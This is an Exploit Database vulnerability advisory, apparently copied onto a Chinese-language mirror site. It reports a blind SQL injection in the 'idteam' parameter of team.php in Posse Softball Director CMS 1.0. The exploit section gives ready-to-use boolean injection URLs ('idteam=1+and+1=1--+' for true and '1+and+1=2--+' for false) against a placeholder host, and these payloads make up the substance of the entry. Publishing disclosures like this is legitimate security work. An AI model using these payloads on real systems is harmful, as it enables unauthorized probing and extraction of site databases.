Posse Softball Director CMS – ‘team.php’ Blind SQL Injection

• Exploit Database
• 36 阅读

• 作者： Easy Laster
  日期： 2012-01-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18320/

• .-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-=--=-=--=-.
   ~ Posse Softball Director CMS Blind SQL Injection Vulnerability team.php~
  .-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-=--=-=--=-.
  [+] Autor: easy laster
  [+] Vulnerabilities [Blind SQL Injection ]
  [+] Page: www.possesports.com
  [+] Language: [ PHP ]
  [+] Version: 1.0
  [+] Date: 04.01.2012
  [+] Status:vulnerable
  .-=--=--=--=--=--=--=--=--=--=--=-.
  
  [+] Vulnerability
  
  team.php?idteam=
  
  [+] Exploitable
  
  http://[host]/[path]/team.php?idteam=1+and+1=1--+ #true
  http://[host]/[path]/team.php?idteam=1+and+1=2--+ #false